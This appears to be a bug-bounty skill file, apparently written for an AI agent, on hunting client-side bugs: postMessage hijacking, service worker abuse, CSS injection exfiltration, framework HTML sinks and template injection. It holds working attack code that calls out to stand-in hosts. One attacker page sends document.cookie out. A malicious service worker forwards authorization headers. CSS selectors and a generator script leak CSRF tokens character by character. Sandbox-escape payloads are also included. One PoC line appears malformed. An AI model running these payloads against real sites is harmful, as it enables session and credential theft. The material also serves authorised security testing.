Hunt Dom

Phase 2 — PostMessage Hijacking

Two bug classes: (a) listener trusts cross-origin data → drive a sink/privileged action; (b) sender broadcasts secrets with target origin '*' → any framing page reads them.

# Find handlers and flag the ones with NO origin check
grep -rnE "addEventListener\(\s*['\"]message['\"]|onmessage\s*=" recon/$TARGET/ --include="*.js" 2>/dev/null \
  | grep -vE "\.origin\b" 
# Then for each, read +/- 20 lines: where does event.data go? (innerHTML/eval/location/token store)
# Senders that leak: grep for postMessage(<secret>, '*')
grep -rnE "postMessage\([^,]+,\s*['\"]\*['\"]\)" recon/$TARGET/ --include="*.js" 2>/dev/null

<!-- PoC A: drive a no-origin-check LISTENER from an attacker page -->
<!-- Host on attacker.com; frames target and pushes a privileged message -->
<iframe id="f" src="https://TARGET/page-with-listener"></iframe>
<script>
  document.getElementById('f').onload = () => {
    const w = document.getElementById('f').contentWindow;
    // Shape the payload to whatever the handler routes into a sink:
    w.postMessage({type:'navigate', url:'javascript:fetch("https://OOB/x?c="+document.cookie)'}, '*');
    w.postMessage('<img src=x '*');
  };
</script>

<!-- PoC B: capture secrets from a SENDER that uses targetOrigin '*' -->
<iframe id="f" src="https://TARGET/sso-or-widget" style="display:none"></iframe>
<pre id="out"></pre>
<script>
addEventListener('message', e => {
  // Only count it if e.origin is the TARGET and data carries a secret
  out.textContent += `origin=${e.origin}\ndata=${JSON.stringify(e.data)}\n---\n`;
  if (/token|session|jwt|code=/i.test(JSON.stringify(e.data)))
    fetch('https://OOB/pm?d='+encodeURIComponent(JSON.stringify(e.data))); // OOB proof
});
</script>

False-positive guard: a handler with a partial check (origin.indexOf('target.com')>-1, endsWith('target.com'), regex target\.com) is still vulnerable — bypass with target.com.evil.com or eviltarget.com. Confirm by serving the PoC from such a look-alike host and showing the message still lands.

Phase 3 — Service Worker Abuse

Hard rule (corrects a common mistake): a SW script URL must be same-origin as the page calling register(). A cross-origin script URL (https://evil.com/sw.js) throws SecurityError — there is no header that enables cross-origin SW script registration. Service-Worker-Allowed only widens the scope a same-origin script may control, not where the script may live.

So the realistic path is: get a SW script onto the target origin (file upload that serves JS, open-redirect/path the origin reflects as a script, a JSON/JSONP endpoint with text/javascript, or an existing route under your control), then register it from same-origin XSS.

# Enumerate existing SW + its scope
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" | grep -iE "serviceWorker\.register|navigator\.serviceWorker"
for p in sw.js service-worker.js firebase-messaging-sw.js ngsw-worker.js; do
  curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code} $p\n" "https://$TARGET/$p"; done
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/sw.js" | grep -iE "scope|addEventListener\('fetch'|caches"
# Look for an upload/route that returns Content-Type: text/javascript on YOUR content:
#   curl -s -D- https://$TARGET/uploads/<id> | grep -i content-type

// Runs in same-origin XSS. SCRIPT MUST BE SAME-ORIGIN (e.g. /uploads/evil-sw.js
// served by the target). scope must be <= the directory the script is served from
// unless the response carries Service-Worker-Allowed.
navigator.serviceWorker.register('/uploads/evil-sw.js', {scope: '/'})
  .then(r => fetch('https://OOB/sw-registered?scope='+r.scope))  // OOB proof of registration
  .catch(e => console.log('SW reg failed', e.name));  // SecurityError => wrong origin/scope

// evil-sw.js (served from the TARGET origin):
self.addEventListener('fetch', e => {
  e.respondWith(fetch(e.request.clone()).then(async resp => {
    // Exfil URL + any auth header the page attaches, to OOB
    fetch('https://OOB/sw-intercept', {method:'POST',
      body: JSON.stringify({url: e.request.url,
        auth: e.request.headers.get('authorization')})});
    return resp;
  }));
});

Persistence note: a SW survives tab close and re-runs on next visit within scope — that is what makes it Critical. Confirm persistence by closing all tabs, reopening the origin, and showing a fresh OOB hit with no XSS re-trigger.

Phase 4 — CSS Injection / Exfiltration

# Prereq: attacker controls CSS (custom-theme field, style= passthrough, email
# template, markdown CSS). Targets: hidden CSRF input, API key in meta, nonce attr.
# Step 1 confirm injection: inject "color:red" on a known element, observe render.
# Step 2 leak attribute values char-by-char via attribute selectors + url() to OOB.

Scope caveat (corrects an overstatement): CSS exfil bypasses CSP that blocks script execution — it does not bypass a CSP whose style-src / img-src / default-src / connect-src restricts external origins, or form-action. If img-src 'self' is set, url(https://OOB/...) is blocked. Always read the live Content-Security-Policy header first; if external resource origins are locked down, CSS exfil is dead and you should say so rather than claim it.

/* One request fires only for the matching first char. */
input[name="csrf"][value^="a"] { background: url(https://OOB.example/c?p=0&c=a); }
input[name="csrf"][value^="b"] { background: url(https://OOB.example/c?p=0&c=b); }
/* ...all chars... then chain @import to leak position 1 conditioned on position 0, etc. */
meta[name="csrf-token"][content^="a"] { background: url(https://OOB.example/c?m=a); }

# Generate a single-position CSS exfil set (loop positions with sequential @import in practice)
import string
chars = string.ascii_letters + string.digits + '-_'
attr, oob, pos = 'name="csrf"', 'https://OOB.example/c', 0
print("\n".join(
  f'input[{attr}][value^="{c}"]{{background:url({oob}?p={pos}&c={c})}}' for c in chars))
# Real exfil needs recursion: serve a stylesheet whose @import pulls the next
# position's rules only after the current prefix matched (d0nut technique) —
# this removes the "static input, one char" limitation.

Validation: the proof is OOB hits, not a rendered color. Stand up a Collaborator / request-bin and show one hit per correct character forming the real token, then demonstrate using that token in a state-changing CSRF request. No OOB callback = no finding (a 0-byte image or CSP-blocked request looks identical to success in DevTools).

Phase 5 — dangerouslySetInnerHTML / framework sinks

grep -rnE "dangerouslySetInnerHTML|v-html=|\[innerHTML\]=|\.html\(" recon/$TARGET/ --include="*.js" 2>/dev/null
# In minified Next/React bundles:
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/static/chunks/pages/index.js" | grep -Eo 'dangerouslySetInnerHTML.{0,120}'
# Trace whether user data reaches it WITHOUT a sanitizer (DOMPurify/sanitize-html).
# If DOMPurify IS present, check for clobbering/mXSS bypass (Bentkowski research) and version.

Phase 6 — Client-Side Template Injection

# Detect framework, then test the {{}} sink in a sandbox-bypass form.
grep -rnE "angular|vue|handlebars|mustache|nunjucks|alpinejs|\bv-|ng-app" recon/$TARGET/ --include="*.js" 2>/dev/null | head
# Probe (server may render, so confirm it's CLIENT-side by viewing rendered DOM, not curl):
#   {{7*7}}  -> 49 in the live DOM (not in raw HTML) => CSTI
# AngularJS sandbox-escape style payloads (version-dependent; older 1.x):
#   {{constructor.constructor('alert(document.domain)')()}}
# Vue: {{_c.constructor('alert(1)')()}}    (varies by Vue 2/3 build)

Chain Table

Tools

# DOM Invader (built into Burp browser) — sources→sinks, postMessage logger, clobbering scanner
# postMessage-tracker — Chrome extension logging cross-window messages
# Burp Collaborator / interactsh / request-bin — MANDATORY OOB sink for CSS-exfil & SW PoCs
# Verify any command URL before citing it in a report; do not paste unverified repo links.

Validation (false-positive discipline)

Match the repo standard: a technique that fires in DevTools is not a finding until impact is OOB-confirmed and state-proven.

• DOM Clobbering — show the clobbered value actually reaching a sink (XSS payload executes, or app navigates/loads from attacker URL). A clobberable global that never reaches a sink = no impact, do not report.
• PostMessage — distinguish a missing check from a weak one; bypass weak checks from a look-alike origin and capture via OOB. A noisy message log alone is not proof — show the privileged action or token exfil.
• CSS exfil — OOB callback per correct character is the only proof. Read CSP first: img-src/style-src/connect-src/default-src restricting external origins kills it. A blocked url() is indistinguishable from success in the Network tab — confirm on the Collaborator side.
• Service Worker — registration must be same-origin script; a SecurityError means you cited the wrong origin. Prove persistence (close tabs → reopen → fresh OOB hit, no XSS re-fire).
• General — unique per-test markers (btoa(domain)+nonce) so an OOB hit is attributable to YOUR payload and not background traffic; body-diff the rendered DOM, not the raw HTML, since these are client-side.

Severity:

• Same-origin Service Worker → persistent credential intercept: Critical
• PostMessage data → DOM-XSS / token theft → ATO: High–Critical
• DOM Clobbering → DOM-XSS reaching auth/session: High
• CSS exfil of CSRF token (OOB-proven) → CSRF: Medium (raise if the chained CSRF is account-critical)

Verification

Run this self-test to confirm dom hunting readiness:

1. Skill integrity — confirm the skill file is readable and well-formed:

   grep -q "name: hunt-dom" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
   grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
   

2. Category check — confirm the skill has a category:

   grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
   

3. Pitfalls section — confirm pitfalls are documented:

   grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
   

All 3 tests verify the skill is properly structured and ready for use.

Pitfalls

• DOM XSS without sink confirmation — finding innerHTML or document.write with user input is a potential sink, not a confirmed bug. Trace the full data flow from source to sink.
• postMessage without origin check — receiving postMessage events without verifying event.origin is the vulnerability. Test with window.postMessage(payload, '*').
• Source maps without secrets — .map files alone are informational. Need extracted API keys, internal paths, or credentials.
• eval with static strings — eval("constant") is not exploitable. Need dynamic input reaching eval.
• Sanitizer bypass claim without proof — claiming DOMPurify bypass requires a working payload against the specific version in use.